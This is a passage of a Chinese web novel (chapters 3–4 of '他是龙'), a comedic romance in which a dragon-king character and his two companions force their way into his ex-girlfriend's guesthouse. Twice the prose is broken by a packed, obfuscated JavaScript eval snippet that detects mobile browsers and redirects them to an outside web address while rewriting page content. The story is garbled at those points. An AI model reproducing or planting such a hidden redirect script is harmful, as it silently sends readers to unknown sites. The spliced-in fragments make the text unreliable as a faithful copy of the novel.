《他是龙》 3. 第 3 章 第二天也是好天气。 因为袁盈的民宿住满了,束鳞昨天随便定了一家,跟袁盈的民宿直线距离三百米。 民宿包一顿早饭,早上七点半,阿野就起床吃饭了。 束鳞来到小餐厅时,厨房阿姨正木着脸洗碗,时不时还要警惕地看一眼餐桌方向。 餐桌前,阿野端正地坐着,正在吃他今天早上第五碗面。 “……你悠着点,别逮着免费的就猛吃。”束鳞上前提醒。 阿野抬头,冲着厨房说:“再给我来一碗粥,六个鸡蛋。” 阿姨:“……” 束鳞:“……” 他本来也是来吃早饭的,但看到阿姨敢怒不敢言的样子后,决定还是不吃了。 阿野倒不觉得有什么,继续填饱肚子。 束鳞盯着他看了许久,叹气:“幸亏你长了一张不好惹的脸。” 但凡换个人这么吃,阿姨早就指着鼻子骂了。 阿野无所谓地扫了他一眼。 束鳞从他盘子里偷了一个鸡蛋,一边剥一边问:“王还没起吗?” “应该没有。”阿野头也不抬,专心吃饭。 束鳞面露疑惑:“奇怪,马上要去找王后了,他不该第一个起床吗?” 话音刚落,烛风就从外面进来了,束鳞立刻把剥好的鸡蛋递给他。 烛风没接,只是顺手从桌子上拿了一个免费的棒棒糖。 束鳞主动寒暄:“王,昨晚睡得好吗?” 烛风:“好。” 束鳞一顿,阿野也暂停进食,两个人沉默地看着他。 “看什么?”刚起床,烛风的声音里泛着懒。 束鳞清了清嗓子:“一般来说,当我问出‘昨晚睡得好吗’这句话时,你要么不搭理我,要么回一句好什么好,从来没有过这么简洁又坚定的答案。” 阿野点头,表示认同。 烛风扫了他们一眼:“可见是真的好。” 束鳞:“……” 阿野:“……” 好不好不知道,但感觉像吃错药了。 三人说话间,一个五十岁左右的中年妇女走了进来,刚才还敢怒不敢言的厨房阿姨,突然面露惊讶:“你今天不上班吗?” “上啊,”中年妇女走进厨房,翻出个西红柿,一边吃一边道,“今天团客退房,想想就觉得累,等会儿再去。” “哎哟,你这班上的可真够自由的,你老板也不说你啥?”厨房阿姨酸溜溜。 中年妇女笑了:“她啊,这会儿估计正打扫客房呢,我等她收拾完再过去。” “这么好的老板,也是让你遇着了。”厨房阿姨真心羡慕。 中年妇女却没当回事:“遇什么啊,还是沾了我大侄子的光,真换个人给她干,未必有我这待遇。” 两个阿姨闲聊间,阿野喝完了最后一口粥,碗里还剩两个刚剥壳的鸡蛋。 厨房阿姨可算逮着他了:“您好,我们这里是自助早餐,没吃完的饭要按双倍付……” 话没说完,阿野一口一个吃完了鸡蛋。 “付什么?”他问。 厨房阿姨咳了一声:“……没什么。” 阿野点了点头,跟着烛风出门了。 束鳞去前台办了退房,出了民宿后,烛风和阿野就在不远处等他。 “订好房了?”烛风问。 束鳞点头:“订好了。” “订了就可以住?”阿野对这个世界运行的规则一窍不通,但不妨碍提出疑问,“王后要是不让呢?” 束鳞嘿嘿一笑:“她不会的。” 听出他的笃定,烛风多看了他一眼。 “不是,这人有病吧?”金元宝前台小雨发出惊叹。 袁盈刚扔完一大包垃圾,拿了扫帚正准备上楼:“怎么了?” 小雨:“这个人订房的时候,买了1000份‘安心住’。” 金林镇的雪山和温泉比较出名,冬天是旅游旺季,12月到3月之间民宿价格也是水涨船高。 去年冬天,有几家民宿为了多挣钱,把线上已经出售的房间,加价卖给线下的游客,导致提前预定房间的顾客没地方住。 事情太恶劣,当时还上了热搜。 自那以后,订房平台就推出了这个安心住的商业保险,两块钱一份,顾客自行决定要不要购买。 购买保险后,顾客没有过错的前提下,一旦出现商家拒绝入住的情况,平台就会勒令商家除了退还房钱,还要向顾客支付房钱的百分之30%作为赔偿,一份保险可赔付一次,赔付总额度最高是20万。 “可能是买错了,你提醒一下。”袁盈着急收拾客房,说完就上楼了。 小雨答应一声,开始回复:亲,您看一下订单,是不是买错了。 小龙人:没买错。 ……都买一千份了,还说自己没买错。 小雨啪嗒啪嗒打字:保险的部分,确定要买一千份吗? 小龙人:是的。 小雨:“……” 这人不会是想通过这种方式讹诈民宿吧? 之前安心住刚推出的时候,有人就专门在旺季订房时多买几份保险,那几家屡教不改的民宿还因此吃了大亏。 不过那之后,就没有再出现过这种情况了。就算有,也绝不是他们金元宝,因为即便是没有安心住的时候,金元宝也没干过拒绝顾客入住的缺德事。 小雨开始思索怎么打消对面讹人的心思,还没等斟酌好措辞,对方又发消息来了。 小龙人:抱歉,我有酒店入住恐慌症,每次订房都要买一堆保险才安心,真的没有别的意思。 还有这种病呢? 小雨觉得稀奇,正要再问几句,一片阴影突然落下。 她下意识抬头,对上一张笑得灿烂的脸。 “你好,办入住。”束鳞热情招手。 小雨看看他,再看看他身后那两个,皱眉:“你们怎么又来了。” “来办入住啊。”束鳞一脸无辜。 小雨不耐烦地啧了一声:“没房了。” “我都预订好了,怎么会没房。”束鳞说着,突然指着她电脑上的聊天页面,“这个就是我。” 小雨顿时生出一股不好的预感。 “你确定要拒绝我们入住吗?”束鳞一脸苦恼。 小雨:“……” 五分钟后,不速之客们被请进了茶室。 袁盈随便将头发挽起来,刚走到茶室门口,就被小雨拉住了。 “老板。”她有点委屈。 袁盈拍拍她的手:“没事。” 说完,她推开茶室的门,第二次在这间屋子里见到某人。 “把房退了。”她言简意赅。 烛风比她更言简意赅:“不要。” 袁盈深吸一口气,扭头看向门口张望的小雨:“他们房钱多少?” “一间312的,两间178的,他们定了十天,一共是6680。”小雨忙道。 如果强制退房,一份安心住的赔金是2004,1000份就是20万四千,比最高额度只多四千块,显然是有备而来。 很好,赔不起。 袁盈再次看向烛风:“退房。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775027|174665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 烛风:“不。” “你到底想干什么?”袁盈眉头紧皱。 烛风不说话了,只是静静地盯着她看。 他的视线如有实质,将整间屋子都变得灼热。 束鳞默默提起一口气,等着他和王后冰释前嫌,小雨悄悄在门外拿起了扫帚,随时准备殊死一搏,阿野拿起了茶室里摆放的话梅,随手丢进嘴里。 咔嚓。 嚼嚼吃了。 “……你把核也嚼了?”小雨忍不住问。 阿野扫了她一眼,又拿起一个。 袁盈:“……” 本来有点紧绷的气氛,被阿野这么一咔嚓,瞬间恢复正常了。 烛风像昨天一样靠坐在茶几上,银灰色的头发轻轻垂落在眉上。 在袁盈又一次看向他后,他突然扬起唇角:“想住在这里。” 袁盈:“……” 束鳞:“……” “不给住?”烛风面露遗憾,朝她伸出手,“那赔钱。” 袁盈:“……” 束鳞:“……” “20多万,袁老板没问题的。”烛风再接再厉。 袁盈:“……” 束鳞:“……” 漫长的沉默之后,袁盈怒从胆边起,照着他的手狠狠拍了一下。 掌心和掌心接触的瞬间,清脆的声音响起。 烛风的手指下意识地握住,像是做过太多次导致的肌肉记忆,没经过大脑允许就擅自做了决定。 可惜一触即离,他只抓住一团空气。 “想住就住吧,金元宝欢迎每一个顾客。”袁盈咬紧牙关微笑。 烛风无所谓地将手揣进裤兜:“那就麻烦老板帮我们办理入住吧。” “老板没空,找前台。”袁盈说完,直接扭头走了。 小雨赶紧追过去:“老板,真的要让他们住啊?” 虽然不知道袁盈跟那三个人有什么恩怨,但能把她惹成这样的,指定不是什么好人。 “他们愿意住就住吧,反正就十天,”袁盈说完,看一眼房门自动阖上的茶室,压低声音,“等会儿记得把他们的名字加入黑名单。” 小雨恍然:“懂了。” 加了黑名单之后,他们就无法在网上预订房间了,除非用别的身份证,但那也意味着入住信息和本人不符,民宿这边依然有权拒绝他们的入住。 简单来说,他们就是秋后的蚂蚱,最多蹦跶十天。 小雨心中郁结消散,严阵以待。 被她严阵以待的三个还在茶室里,房门关上后,像一起困在了孤岛上。 阿野吃完最后一颗话梅,总算抬起头来:“现在是什么情况。” 束鳞:“你说现在还是刚才?” 阿野:“都有。” “刚才我用1000份安心住引王后现身,正常情况下,我们英明神武的王应该主动退款,并表示绝对没有讹人的意思,然后能借此机会好好跟王后解释他当初离开的理由,以及我们这次来找她的原因,最后用真诚的忏悔和眼泪打动她,从而达到和好的目的。” 阿野点点头:“现在呢?” 束鳞微微一笑:“现在,我们大概率没有王后了。” 阿野:“?” 束鳞看向还在装无所谓的烛风,怨气喷涌:“王,你不按剧本走就算了,为什么还要挑衅王后?” “我没有挑衅她。”烛风垂着眼,面色平静,“我是在哄她。” 束鳞:“……” 王后到底什么眼光啊,死了三年的鸭子都没她失踪三年的男朋友嘴硬。 4. 第 4 章 茶室里三个人,就一个爱说话的,现在爱说话的被气得不想说话,空气瞬间就安静下来。 小雨推开门时,被屋里的肃穆氛围震了一下,确定他们没有闹事的意思后,这才清了清嗓子:“几位,麻烦跟我到前台办理入住吧。” 本来以为要三请五请,结果她刚说完,屋里的人就纷纷起身。 先是束鳞,经过门口时,小雨默默踮了一下脚,推断他大概一米八多一点。 接着是烛风,比束鳞要高小半头,保守估计是一米九左右。 最后是大块头阿野。 烛风都那么高了,他看起来还要更高一点,小雨忍不住问:“你多高?” 阿野看她一眼,刀疤脸很有震慑力:“什么?” “没、没事。”小雨讪讪。 团购的房客已经离开,又是工作日,民宿里冷冷清清,只有三个客人。 身份证递过来,小雨看到后愣了愣:“名字叫阿野?” “嗯,他姓阿。”束鳞点头。 小雨:“……” “是的,我姓束。”束鳞淡定补充,显然见多了这种情况,“是真实的身份证,不信的话可以去派出所查询。” 小雨闻言扯了一下唇角,没有再问什么。 她很快办好了手续,将三张房卡递给三人。 束鳞接过房卡:“小姐姐,带我们参观一下民宿呗。” “叫我小雨就好,”小雨冷淡拒绝,“民宿就这么大,你们可以自行参观。” 话音刚落,束鳞掏出手机。 小雨直觉不妙:“干什么?” “写差评。”束鳞头也不抬。 小雨深吸一口气,挤出一点微笑:“参观民宿是吧,请跟我来。” 束鳞笑眯眯地收起手机,叫上阿野一起。 本来以为烛风不会参与这么无聊的行动,结果刚走出客厅,就发现他跟了过来。 束鳞面露惊讶,还没开口说话,烛风的视线就扫了过来,他一秒闭嘴。 像金林镇这样的地方,住民宿也算是游玩的一部分,所以经常会有入住的客人提出参观。 大部分情况下,小雨都是简单介绍一下民宿的格局,再带他们参观一下房间。 但今天不同,她直接把三位客人带到了民宿外的大马路上。 “我们去哪?”束鳞好奇。 小雨扫了他一眼:“不是要参观?” “上大马路上参观?”束鳞摊手。 小雨假装没听到,站民宿的大门外开始介绍:“首先给大家介绍一下我们金元宝民宿的大门,我们家大门看起来是原木的,其实还真就是原木的,大家抓紧时间多欣赏几次吧,因为我们老板定制了新门,过几天就要换掉它了。” 束鳞:“……” 看出来了,是真不欢迎他们。 对着两扇平平无奇的木门介绍五分钟后,小雨终于把他们领进了院里,转而开始介绍大门左边的两个灶台。 “这是我们老板找人搭的,她心情好的时候会亲自下厨做铁锅炖,”小雨说完,遗憾表示,“你们恐怕吃不着了。” 束鳞识相地没问为什么吃不着。 介绍完大门左边的灶台,又介绍大门右边的两棵黄金枫、秋千架,小雨滔滔不绝,完全没有离开院子的意思。 虽然已经是六月下旬,但金林镇白天的温度也就十几度,风也凉凉的。 烛风三人出来的时候没穿外套,短袖或衬衣,在这个温度里显得过于单薄。 束鳞倒不觉得多冷,就是有些无聊,不知不觉间开始走神,至于阿野……还在盯着灶台看,似乎在思考什么是铁锅炖,以及为什么吃不着。 小雨又拖延了一会儿,正准备大发慈悲放他们进屋时,烛风突然抬眸看向她。 小雨下意识站直了。 “为什么不重新铺?”烛风问。 小雨没听明白:“什么?” “不是说路不好走?”烛风平静地看着她,“为什么不重新铺?” 小雨愣了愣,这才想起自己一分钟前刚说过,老板当初重装民宿的时候,突发奇想把客厅和大门之间的路搞成了汀步小径,结果一步太夹两步太扯,一点也不好走,行李也需要拎着。 她只是随口一说,没想到烛风竟然听进去了。 小雨对上他那双沉静的眼,脑子有点不会转了:“老、老板觉得太麻烦,而且重新搞还挺费钱的。” 烛风微微颔首,就像是随口一问。 小雨眨了眨眼睛,这才回过神来。 不是……她为什么要回答他的问题! 意识到自己有几秒钟被坏人的美貌硬控后,小雨提高警惕,觉得不能再跟他们单独相处了,于是加快介绍速度。 “站在这里往前看,最中间的那道门是客厅,左手边那道门是厨房和食堂,不过厨房几乎不开火,你们定的房间如果包含早餐,就提前一天跟我说要吃什么,第二天早上八点,应有尽有超市的老板会把饭送过来。” “应什么?”阿野立刻问。 说到吃就有精神了是吧?束鳞无语地看他一眼。 小雨解释:“应有尽有,是超市的名字,老板也承包部分民宿的早餐生意,不过她这几天出门了,早饭是她表弟在弄,所以味道可能有点出入。” “应有尽有,你们这里的取名方式挺有意思啊,”未来十天低头不见抬头见,束鳞有心搞好关系,“什么听景轩、初阳居、栖山而卧……金元宝,我最喜欢金元宝,有一种朴实无华又富贵逼人的美。” 小雨闻言,赞赏地看他一眼:“你刚才说的都是民宿名字,是订房软件上看到的吧,你们昨晚住哪了?” 束鳞见她态度软化,立刻道:“栖山而卧。” 小雨一秒冷淡:“哦。” 束鳞:“?” 烛风看了小雨一眼。 小雨不想跟他们废话了,指着客厅右边的两道独立的门道:“这两间是高级客房,分别叫望山和环水,推开门可以直接到院子里,望山的客人明天才退房,你们定的那间是环水。” “环水是给你准备的。”束鳞立刻向烛风表示。 烛风却不感兴趣。 小雨又指着二楼:“二楼有四间房,从左到右分别是钱来、财来、金来、钞票来。” “一楼二楼的取名风格……挺割裂啊。”束鳞实在不知道怎么夸。 小雨撇撇嘴:“一楼的名字是前老板取的,我家老板接手民宿的时候,一楼两间房的门牌还挺新,加上淘宝定制门牌的套餐是一百块钱四个,再加单就是三十块钱一个,老板干脆就不改了。” 束鳞:“……很合理。” “你们要住的是钱来和财来,注意别走错了,介绍完毕。”小雨长舒一口气。 说话可真累啊。 烛风:“不是还有三楼?” “三楼是老板的房间,不对外开放。”小雨耐心已用光,头也不回地进了客厅。 客厅门一关上,束鳞立刻叹气:“王后好穷啊,一个门牌贵五块钱就买不起了。” “她的钱是不多,但也不至于一个门牌都买不起,”烛风抬眸看向三楼的窗户,“就是单纯的抠。” 束鳞沉默地点了点头,把房卡递过去。 烛风接过来一看,房卡上写着‘财来’。 他看向束鳞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775028|174665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束鳞一脸单纯:“离三楼最近。” 烛风眉头轻挑,进屋了。 袁盈此刻在二楼,吭哧吭哧地拖着巨大的垃圾袋正准备下楼。 就在快走到楼梯口时,后背突然撞到一堵墙,她一扭头,差点把脸埋进前男友的腹肌。 熟悉的味道激起某些上不得台面的回忆,最近激素过于澎湃的袁盈浑身汗毛都要竖起来了,立刻往旁边跳了一大步。 烛风从她手里接过垃圾袋:“扔哪?” 袁盈眯起眼睛,似乎在思考回答他,还是直接让他滚蛋。 “免费的劳动力也不用?”烛风语气幽幽。 袁盈果然不纠结了:“大门外有个绿色垃圾箱。” 烛风拎着垃圾往楼下走,袁盈需要用力去拖的袋子,在他手里晃晃悠悠像个没什么重量的弹力球。 袁盈原地站了几秒,又转身进了客房。 烛风回来时,她正在客房里努力拆被罩。 他二话不说接过被子,熟练地把被芯薅了出来。 袁盈索性退到一旁,抱臂盯着他看。 几个房间的床单被罩很快被拆完,这次不等烛风问,袁盈就主动道:“送到一楼客厅,等会儿有洗衣店的人来收。” 烛风看她一眼,抱着堆成小山的床单被罩下楼了。 袁盈转头进布草间拿了新的四件套。 然后,等着。 烛风回来后,果然从她手里接过了四件套,进了离楼梯最近的‘财来’。 袁盈伸了伸懒腰,扭头就要下楼,结果一只手从房间里伸出来,直接把她薅了进去。 砰,房门关上。 封闭空间,孤男寡女。 袁盈紧紧地贴着门,强装镇定:“你干什么?” 烛风不说话,只是一步步靠近。 现在没别人,他似乎也懒得伪装什么了,那种大型野兽一样慢悠悠的从容再次溢出来。 对他而言是从容,对袁盈来说就是压迫了。 按理说,大家都这么熟了,她不应该太紧张的,但碍于某人在同居的时候经常不做人,她确实有点怕他这会儿会突然脱裤子。 当然了,他不至于会强迫她,但她最近处于思春期,很容易把持不住。 她可不想跟前任藕断丝连。 见他不断逼近,袁盈手忙脚乱地握住门把手,刚用力往下一按,一只灼热的手就握住了她的手腕。 只是一点点肢体接触而已,只是一点点体温浸润而已。 袁盈却一个激灵,连表面的平静都维持不住了:“我警告你啊,这里离派出所只有两公里,你最好是不要乱来,否则……” 话没说完,烛风的两只手就插.进她的胳肢窝里,举小孩一样轻飘飘地把她举了起来。 袁盈:“?” 烛风面色不改,把她举到窗边的藤编椅上,顺手从裤兜里掏出一个棒棒糖,剥开塞进她嘴里。 她喜欢的橘子味瞬间在口腔蔓延。 烛风直起身:“留下,监工。” 袁盈还没反应过来,烛风已经重新拿起床单,折叠成四方块的床单被用力一抖,瞬间像云朵一样散开。 烛风利落地把床单抚平,又弯着腰将边角掖到床垫下。 他的衣服不算紧,但在这样的动作下还是被撑了起来,露出优越的肌肉线条。 袁盈吃着橘子味的棒棒糖,视线不受控地落在他的肩膀、脊背、腰线,再往下……就像是经过大量重复练习后的本能反应,哪怕没有任何预兆和提示,她也仅凭直觉猛地别开视线。 但还是晚了,铺床铺到一半的烛风已经停下,正似笑非笑地看着她。